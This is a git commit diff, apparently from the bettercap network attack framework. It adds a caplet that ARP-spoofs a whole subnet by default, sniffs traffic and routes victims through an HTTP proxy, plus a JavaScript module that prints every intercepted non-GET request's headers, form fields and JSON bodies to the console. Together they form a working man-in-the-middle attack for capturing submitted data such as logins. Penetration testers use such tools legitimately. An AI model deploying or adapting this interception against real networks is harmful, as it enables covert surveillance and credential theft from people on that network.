new: new http-req-dump caplet and js module.

This commit is contained in:
evilsocket 2018-01-10 18:13:16 +01:00
parent 29002eb0b8
commit 2eaee90182
3 changed files with 171 additions and 1 deletions

21
caplets/http-req-dump.cap Normal file
View file

@ -0,0 +1,21 @@
# targeting the whole subnet by default, to make it selective:
#
# sudo ./bettercap-ng -caplet caplets/http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64"
events.stream off
net.recon on
net.probe on
sleep 1
net.probe off
set net.sniff.verbose false
set net.sniff.local true
set net.sniff.filter tcp port 443
net.sniff on
set http.proxy.script caplets/http-req-dump.js
clear
http.proxy on
arp.spoof on

147
caplets/http-req-dump.js Normal file
View file

@ -0,0 +1,147 @@
var RESET = "\033[0m";
var log = console.log;
function R(s) {
return "\033[31m" + s + RESET;
}
function G(s) {
return "\033[32m" + s + RESET;
}
function B(s) {
return "\033[34m" + s + RESET;
}
function Y(s) {
return "\033[33m" + s + RESET;
}
function DIM(s) {
return "\033[2m" + s + RESET;
}
function BOLD(s) {
return "\033[1m" + s + RESET;
}
function dumpHeaders(req) {
log( "> " + BOLD(G("Headers")) );
for( var i = 0; i < req.Headers.length; i++ ) {
var header = req.Headers[i];
log( " " + B(header.Name) + " : " + DIM(header.Value) );
}
}
function dumpPlain(req) {
log( " > " + BOLD(G("Text")) );
var body = req.ReadBody();
log( " " + Y(body) );
}
function dumpForm(req) {
log( " > " + BOLD(G("Form")) );
var body = req.ReadBody();
var parts = body.split('&');
for( var i = 0; i < parts.length; i++ ) {
var nv = parts[i].split('=');
log( " " + B(nv[0]) + " : " + Y(nv[1]) );
}
}
function dumpJSON(req) {
log( " > " + BOLD(G("JSON")) );
var body = req.ReadBody();
// TODO: pretty print json
log( " " + Y(body) );
}
function pad(num, size, fill) {
var s = ""+num;
while( s.length < size ) {
s = fill + s;
}
return s;
}
function toHex(n) {
var hex = "0123456789abcdef";
var h = hex[(0xF0 & n) >> 4] + hex[0x0F & n];
return pad(h, 2, '0');
}
function isPrint(c){
if( !c ) { return false; }
var code = c.charCodeAt(0);
return ( code > 31 ) && ( code < 127 );
}
function dumpHex(raw, linePad) {
var DataSize = raw.length;
var Bytes = 16;
for( var address = 0; address < DataSize; address++ ) {
var saddr = pad(address, 8, '0');
var shex = '';
var sprint = '';
var end = address + Bytes;
for( var i = address; i < end; i++ ) {
if( i < DataSize ) {
shex += toHex(raw.charCodeAt(i)) + ' ';
sprint += isPrint(raw[i]) ? raw[i] : '.';
} else {
shex += ' ';
sprint += ' ';
}
}
address = end;
log( linePad + G(saddr) + ' ' + shex + ' ' + sprint );
}
}
function dumpRaw(req) {
var body = req.ReadBody();
log( " > " + BOLD(G("Body")) + " " + DIM("("+body.length + " bytes)") + "\n" );
dumpHex(body, " ");
}
function onRequest(req, res) {
if(req.Method == 'GET')
return;
log( BOLD(req.Client), ">", B(req.Method), req.Hostname + req.Path + ( req.Query ? "?" + req.Query : '') );
dumpHeaders(req);
if( req.ContentType ) {
log();
if( req.ContentType.indexOf("text/plain") != -1 ) {
dumpPlain(req);
}
else if( req.ContentType.indexOf("application/x-www-form-urlencoded") != -1 ) {
dumpForm(req);
}
else if( req.ContentType.indexOf("application/json") != -1 ) {
dumpJSON(req);
}
else {
dumpRaw(req);
}
}
log();
}

View file

@ -17,6 +17,7 @@ type JSRequest struct {
Method string Method string
Version string Version string
Path string Path string
Query string
Hostname string Hostname string
ContentType string ContentType string
Headers []JSHeader Headers []JSHeader
@ -42,8 +43,9 @@ func NewJSRequest(req *http.Request) JSRequest {
Client: strings.Split(req.RemoteAddr, ":")[0], Client: strings.Split(req.RemoteAddr, ":")[0],
Method: req.Method, Method: req.Method,
Version: fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor), Version: fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor),
Path: req.URL.Path,
Hostname: req.Host, Hostname: req.Host,
Path: req.URL.Path,
Query: req.URL.RawQuery,
ContentType: cType, ContentType: cType,
Headers: headers, Headers: headers,